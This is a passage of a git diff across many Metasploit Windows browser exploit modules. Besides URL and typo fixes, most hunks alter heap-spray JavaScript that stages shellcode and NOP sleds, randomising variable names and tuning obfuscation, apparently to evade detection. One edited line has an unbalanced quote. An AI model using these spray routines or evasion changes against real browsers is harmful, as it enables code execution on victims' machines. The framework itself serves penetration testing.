+      var #{randnop} = "#{js_nops}";
+      var nops = unescape(#{randnop});
       while (nops.length < 0x80000) nops += nops;
       var offset = nops.substring(0, #{my_target['Offset']});
       var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
@@ -177,7 +180,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     return js
@@ -250,5 +253,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending HTML...")
     send_response(cli, html, {'Content-Type'=>'text/html'})
   end
-
 end
diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb
index dc76272be5..4cf9edf7ed 100644
--- a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb
+++ b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -143,5 +143,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending HTML...")
     send_response(cli, html, {'Content-Type'=>'text/html'})
   end
-
 end
diff --git a/modules/exploits/windows/browser/hpmqc_progcolor.rb b/modules/exploits/windows/browser/hpmqc_progcolor.rb
index 470d980c31..bd4e7f4dda 100644
--- a/modules/exploits/windows/browser/hpmqc_progcolor.rb
+++ b/modules/exploits/windows/browser/hpmqc_progcolor.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -80,13 +80,15 @@ class MetasploitModule < Msf::Exploit::Remote
     j_memory     = rand_text_alpha(rand(100) + 1)
     j_counter    = rand_text_alpha(rand(30) + 2)
     j_ret        = rand_text_alpha(rand(100) + 1)
+    randnop      = rand_text_alpha(rand(100) + 1)
 
     # Build out the message
     content = %Q|<html>
 <object classid='clsid:98C53984-8BF8-4D11-9B1C-C324FCA9CADE' id='#{mqcontrol}'></object>
 <script language='javascript'>
 #{j_shellcode} = unescape('#{shellcode}');
-#{j_nops} = unescape('#{nops}');
+#{randnop} = "#{nops}";
+#{j_nops} = unescape(#{randnop});
 #{j_headersize} = 20;
 #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
 while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
@@ -110,5 +112,4 @@ while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb
index cf9e6e066c..acaa617707 100644
--- a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb
+++ b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -126,5 +126,4 @@ for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb
index 37112f0265..cb0fd44a52 100644
--- a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb
+++ b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -130,13 +130,15 @@ class MetasploitModule < Msf::Exploit::Remote
   def ie_heap_spray(my_target, p)
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     # Land the payload at 0x0c0c0c0c
     # For IE 6, 7, 8
     js = %Q|
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
     while (nops.length < 0x80000) nops += nops;
     var offset = nops.substring(0, #{my_target['Offset']});
     var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
@@ -152,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     return js
@@ -377,7 +379,6 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending HTML...")
     send_response(cli, html, {'Content-Type'=>'text/html'})
   end
-
 end
 
 
diff --git a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb
index 6c2e5b0e11..67d561a3f0 100644
--- a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb
+++ b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -30,8 +30,8 @@ class MetasploitModule < Msf::Exploit::Remote
 
         The vulnerability is found in the "RunAndUploadFile" method
         where the "OtherFields" parameter with user controlled data
-        is used to build a "Content-Dispoition" header and attach
-        contents in a insecure way which allows to overflow a buffer
+        is used to build a "Content-Disposition" header and attach
+        contents in an insecure way which allows to overflow a buffer
         in the stack.
       },
       'License'        => MSF_LICENSE,
@@ -181,11 +181,13 @@ class MetasploitModule < Msf::Exploit::Remote
     p = get_payload(my_target, cli)
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
     js_nops = Rex::Text.to_unescape("\x90"*4, Rex::Arch.endian(my_target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     js_spray = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x80000) nops += nops;
     var offset = nops.substring(0, #{my_target['OffsetShell']});
@@ -205,7 +207,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
-      js_spray.obfuscate
+      js_spray.obfuscate(memory_sensitive: true)
     end
 
     bof = rand_text_alpha(my_target['Offset'])
@@ -234,7 +236,6 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending html")
     send_response(cli, html, {'Content-Type'=>'text/html'})
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb b/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb
index a7839675a2..b0f2169981 100644
--- a/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb
+++ b/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -94,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote
     }
     js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
     js.update_opts(js_heap_spray.opts)
-    js.obfuscate()
+    js.obfuscate(memory_sensitive: true)
     content = %Q|<html>
 <body>
 <script><!--
@@ -112,5 +112,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb b/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb
index 20937534d8..d7fdcce77a 100644
--- a/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb
+++ b/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -80,6 +80,7 @@ class MetasploitModule < Msf::Exploit::Remote
     j_counter    = rand_text_alpha(rand(30) + 2)
     j_ret        = rand_text_alpha(rand(100) + 1)
     j_junk       = rand_text_alpha(rand(100) + 1)
+    randnop      = rand_text_alpha(rand(100) + 1)
 
 
     # Build out the message
@@ -89,7 +90,8 @@ class MetasploitModule < Msf::Exploit::Remote
 <object classid='clsid:3BFFE033-BF43-11D5-A271-00A024A51325' id='#{inotes6}'></object>
 <script language='javascript'>
 #{j_shellcode} = unescape('#{shellcode}');
-#{j_nops} = unescape('#{nops}');
+#{randnop} = "#{nops}";
+#{j_nops} = unescape(#{randnop});
 #{j_headersize} = 20;
 #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
 while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
@@ -122,5 +124,4 @@ EOF
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ie_cbutton_uaf.rb b/modules/exploits/windows/browser/ie_cbutton_uaf.rb
index 65575f8a11..4710c25b6c 100644
--- a/modules/exploits/windows/browser/ie_cbutton_uaf.rb
+++ b/modules/exploits/windows/browser/ie_cbutton_uaf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -248,7 +248,6 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending HTML...")
     send_response(cli, html, {'Content-Type'=>'text/html'})
   end
-
 end
 
 
diff --git a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb
index bdcb7cbd5a..f524f0da4b 100644
--- a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb
+++ b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -229,5 +229,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending HTML...")
     send_response(cli, html, {'Content-Type'=>'text/html'})
   end
-
 end
diff --git a/modules/exploits/windows/browser/ie_createobject.rb b/modules/exploits/windows/browser/ie_createobject.rb
index 6a3a988bc7..23cf98cdbf 100644
--- a/modules/exploits/windows/browser/ie_createobject.rb
+++ b/modules/exploits/windows/browser/ie_createobject.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -260,5 +260,4 @@ function #{var_func_exploit}( ) {
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb
index 3e1cc72776..e9db1c11a7 100644
--- a/modules/exploits/windows/browser/ie_execcommand_uaf.rb
+++ b/modules/exploits/windows/browser/ie_execcommand_uaf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -162,6 +162,7 @@ class MetasploitModule < Msf::Exploit::Remote
   # Exploit writing tutorial part 11 : Heap Spraying Demystified
   # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
   def get_random_spray(t, js_code, js_nops)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     spray = <<-JS
 
@@ -189,7 +190,8 @@ class MetasploitModule < Msf::Exploit::Remote
     var heap_obj = new heapLib.ie(0x10000);
 
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x80000) nops += nops;
 
@@ -211,10 +213,13 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def get_spray(t, js_code, js_nops)
+    randnop = rand_text_alpha(rand(100) + 1)
+
     js = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x80000) nops += nops;
     var offset = nops.substring(0, #{t['Offset']});
@@ -248,7 +253,7 @@ class MetasploitModule < Msf::Exploit::Remote
     js = heaplib(js, {:noobfu => true})
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     html = %Q|
@@ -342,7 +347,6 @@ class MetasploitModule < Msf::Exploit::Remote
     @html2_name = "#{Rex::Text.rand_text_alpha(6)}.html"
     super
   end
-
 end
 
 
diff --git a/modules/exploits/windows/browser/ie_iscomponentinstalled.rb b/modules/exploits/windows/browser/ie_iscomponentinstalled.rb
index d302027740..0920d0e7f9 100644
--- a/modules/exploits/windows/browser/ie_iscomponentinstalled.rb
+++ b/modules/exploits/windows/browser/ie_iscomponentinstalled.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -91,5 +91,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb
index b4b11a4eff..14de3ccba4 100644
--- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb
+++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -318,7 +318,6 @@ window.onload = function() {
     send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/browser/ie_unsafe_scripting.rb b/modules/exploits/windows/browser/ie_unsafe_scripting.rb
index fb9b6bdb52..f78025a7d3 100644
--- a/modules/exploits/windows/browser/ie_unsafe_scripting.rb
+++ b/modules/exploits/windows/browser/ie_unsafe_scripting.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'msf/util/exe'
 require 'msf/core/exploit/powershell'
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ManualRanking
 
   include Msf::Exploit::Remote::BrowserExploitServer
diff --git a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb
index c36dd1a664..975d18bdff 100644
--- a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb
+++ b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Viscom Image Viewer CP Pro 8.0/Gold 6.0 ActiveX Control',
       'Description'    => %q{
           This module exploits a stack based buffer overflow in the Active control file
-        ImageViewer2.OCX by passing a overly long argument to an insecure TifMergeMultiFiles()
+        ImageViewer2.OCX by passing an overly long argument to an insecure TifMergeMultiFiles()
         method. Exploitation results in code execution with the privileges of the user who
         browsed to the exploit page.
 
@@ -127,6 +127,8 @@ class MetasploitModule < Msf::Exploit::Remote
 
     # Payload in JS format
     code = Rex::Text.to_unescape(code)
+    randnop = rand_text_alpha(rand(100) + 1)
+    js_nops = Rex::Text.to_unescape("\x0c"*4)
 
     sploit << [0x41414141].pack("V") # Filler
     sploit << [0x42424242].pack("V") # Filler
@@ -139,7 +141,8 @@ class MetasploitModule < Msf::Exploit::Remote
     spray = <<-JS
     var heap_lib = new heapLib.ie(0x20000);
     var code = unescape("#{code}");
-    var nops = unescape("%u0c0c%u0c0c");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x2000) nops += nops;
     var offset = nops.substring(0, 0x800-0x20);
@@ -166,7 +169,7 @@ class MetasploitModule < Msf::Exploit::Remote
     # Obfuscate on demand
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     html = "<html>"
diff --git a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb
index 4e2a902b33..2524f075d0 100644
--- a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb
+++ b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -27,9 +27,9 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow",
       'Description'    => %q{
         This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00
-        SP6. The overflow exists in the ISSymbol.ocx,  and can be triggered with a long
+        SP6. The overflow exists in the ISSymbol.ocx, and can be triggered with a long
         string argument for the InternationalSeparator() method of the ISSymbol control.
-        This modules uses the msvcr71.dll form the Java JRE6 to bypass ASLR.
+        This module uses the msvcr71.dll form the Java JRE6 to bypass ASLR.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
@@ -112,6 +112,7 @@ class MetasploitModule < Msf::Exploit::Remote
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
     js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     # Land the payload at 0x0c0c0c0c
     case my_target
@@ -141,7 +142,8 @@ class MetasploitModule < Msf::Exploit::Remote
 
       var heap_obj = new heapLib.ie(0x10000);
       var code = unescape("#{js_code}");
-      var nops = unescape("#{js_random_nops}");
+      var #{randnop} = "#{js_random_nops}";
+      var nops = unescape(#{randnop});
       while (nops.length < 0x80000) nops += nops;
       var offset_length = #{my_target['Offset']};
       for (var i=0; i < 0x1000; i++) {
@@ -160,7 +162,8 @@ class MetasploitModule < Msf::Exploit::Remote
       js = %Q|
       var heap_obj = new heapLib.ie(0x20000);
       var code = unescape("#{js_code}");
-      var nops = unescape("#{js_nops}");
+      var #{randnop} = "#{js_nops}";
+      var nops = unescape(#{randnop});
       while (nops.length < 0x80000) nops += nops;
       var offset = nops.substring(0, #{my_target['Offset']});
       var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
@@ -178,7 +181,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     return js
@@ -278,7 +281,6 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending HTML...")
     send_response(cli, html, {'Content-Type'=>'text/html'})
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb
index c7584b7778..b1092f5733 100644
--- a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb
+++ b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -117,6 +117,7 @@ class MetasploitModule < Msf::Exploit::Remote
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
     js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     # Land the payload at 0x0c0c0c0c
     case my_target
@@ -146,7 +147,8 @@ class MetasploitModule < Msf::Exploit::Remote
 
       var heap_obj = new heapLib.ie(0x10000);
       var code = unescape("#{js_code}");
-      var nops = unescape("#{js_random_nops}");
+      var #{randnop} = "#{js_random_nops}";
+      var nops = unescape(#{randnop});
       while (nops.length < 0x80000) nops += nops;
       var offset_length = #{my_target['Offset']};
       for (var i=0; i < 0x1000; i++) {
@@ -165,7 +167,8 @@ class MetasploitModule < Msf::Exploit::Remote
       js = %Q|
       var heap_obj = new heapLib.ie(0x20000);
       var code = unescape("#{js_code}");
-      var nops = unescape("#{js_nops}");
+      var #{randnop} = "#{js_nops}";
+      var nops = unescape(#{randnop});
       while (nops.length < 0x80000) nops += nops;
       var offset = nops.substring(0, #{my_target['Offset']});
       var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
@@ -183,7 +186,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     return js
@@ -283,5 +286,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending HTML...")
     send_response(cli, html, {'Content-Type'=>'text/html'})
   end
-
 end
diff --git a/modules/exploits/windows/browser/intrust_annotatex_add.rb b/modules/exploits/windows/browser/intrust_annotatex_add.rb
index a5c1f3019c..82b2350e72 100644
--- a/modules/exploits/windows/browser/intrust_annotatex_add.rb
+++ b/modules/exploits/windows/browser/intrust_annotatex_add.rb
@@ -1,5 +1,5 @@
-###
-# This module requires Metasploit: http://metasploit.com/download
+##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Quest InTrust Annotation Objects Uninitialized Pointer',
       'Description'    => %q{
           This module exploits an uninitialized variable vulnerability in the
-        Annotation Objects ActiveX component. The activeX component loads into memory without
+        Annotation Objects ActiveX component. The ActiveX component loads into memory without
         opting into ALSR so this module exploits the vulnerability against windows Vista and
         Windows 7 targets. A large heap spray is required to fulfill the requirement that EAX
         points to part of the ROP chain in a heap chunk and the calculated call will hit the
@@ -121,12 +121,16 @@ class MetasploitModule < Msf::Exploit::Remote
     obj_name  = rand_text_alpha(rand(100) + 1)
     main_sym  = 'main' #main function name
 
+    randnop = rand_text_alpha(rand(100) + 1)
+    js_nops = Rex::Text.to_unescape("\x0c"*4)
+
     if my_target.name =~ /IE6/ or my_target.name =~ /IE7/
 
       js = <<-EOS
       function heapspray(){
         shellcode = unescape('#{sc}');
-        bigblock = unescape("%u0c0c%u0c0c");
+        #{randnop} = "#{js_nops};
+        bigblock = unescape(#{randnop});
         headersize = 20;
         slackspace = headersize+shellcode.length;
         while (bigblock.length<slackspace){ bigblock+=bigblock; }
@@ -219,7 +223,7 @@ class MetasploitModule < Msf::Exploit::Remote
       #JS obfuscation on demand only for IE8
       if datastore['OBFUSCATE']
         js = ::Rex::Exploitation::JSObfu.new(js)
-        js.obfuscate
+        js.obfuscate(memory_sensitive: true)
         main_sym = js.sym('main')
       end
 
diff --git a/modules/exploits/windows/browser/java_basicservice_impl.rb b/modules/exploits/windows/browser/java_basicservice_impl.rb
index 1914424f1e..3e1f5fb171 100644
--- a/modules/exploits/windows/browser/java_basicservice_impl.rb
+++ b/modules/exploits/windows/browser/java_basicservice_impl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/java_cmm.rb b/modules/exploits/windows/browser/java_cmm.rb
index 3c1c1d82b5..c7dc6e178a 100644
--- a/modules/exploits/windows/browser/java_cmm.rb
+++ b/modules/exploits/windows/browser/java_cmm.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -119,5 +119,4 @@ class MetasploitModule < Msf::Exploit::Remote
     html += %Q|</applet></body></html>|
     return html
   end
-
 end
diff --git a/modules/exploits/windows/browser/java_codebase_trust.rb b/modules/exploits/windows/browser/java_codebase_trust.rb
index e382b0207f..61038f82fa 100644
--- a/modules/exploits/windows/browser/java_codebase_trust.rb
+++ b/modules/exploits/windows/browser/java_codebase_trust.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -156,5 +156,4 @@ EOS
     end
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/java_docbase_bof.rb b/modules/exploits/windows/browser/java_docbase_bof.rb
index ef38b795ec..8199b86128 100644
--- a/modules/exploits/windows/browser/java_docbase_bof.rb
+++ b/modules/exploits/windows/browser/java_docbase_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -242,5 +242,4 @@ EOS
         'Pragma' => 'no-cache'
       })
   end
-
 end
diff --git a/modules/exploits/windows/browser/java_mixer_sequencer.rb b/modules/exploits/windows/browser/java_mixer_sequencer.rb
index 07a0220454..32a1f085b6 100644
--- a/modules/exploits/windows/browser/java_mixer_sequencer.rb
+++ b/modules/exploits/windows/browser/java_mixer_sequencer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -190,5 +190,4 @@ class MetasploitModule < Msf::Exploit::Remote
     @rmf_name, @rmf = get_rmf
     super
   end
-
 end
diff --git a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb
index 28e757f663..377d2fb3a6 100644
--- a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb
+++ b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -372,5 +372,4 @@ document.location = "#{js_uri}";
 
     super
   end
-
 end
diff --git a/modules/exploits/windows/browser/java_ws_double_quote.rb b/modules/exploits/windows/browser/java_ws_double_quote.rb
index 0700b7dda0..2659225f19 100644
--- a/modules/exploits/windows/browser/java_ws_double_quote.rb
+++ b/modules/exploits/windows/browser/java_ws_double_quote.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Sun Java Web Start Double Quote Injection',
       'Description'    => %q{
           This module exploits a flaw in the Web Start component of the Sun Java
-        Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP
+        Runtime Environment. Parameters initial-heap-size and max-heap-size in a JNLP
         file can contain a double quote which is not properly sanitized when creating
         the command line for javaw.exe. This allows the injection of the -XXaltjvm
         option to load a jvm.dll from a remote UNC path into the java process. Thus
@@ -304,5 +304,4 @@ EOS
     end
     super
   end
-
 end
diff --git a/modules/exploits/windows/browser/java_ws_vmargs.rb b/modules/exploits/windows/browser/java_ws_vmargs.rb
index 8132bb9729..3e34b80dea 100644
--- a/modules/exploits/windows/browser/java_ws_vmargs.rb
+++ b/modules/exploits/windows/browser/java_ws_vmargs.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -25,7 +25,7 @@ class MetasploitModule < Msf::Exploit::Remote
         allows an attacker to execute arbitrary code in the context of an unsuspecting
         browser user.
 
-        In order for this module to work, it must be ran as root on a server that
+        In order for this module to work, it must be run as root on a server that
         does not serve SMB. Additionally, the target host must have the WebClient
         service (WebDAV Mini-Redirector) enabled.
       },
@@ -319,5 +319,4 @@ EOS
 
     super
   end
-
 end
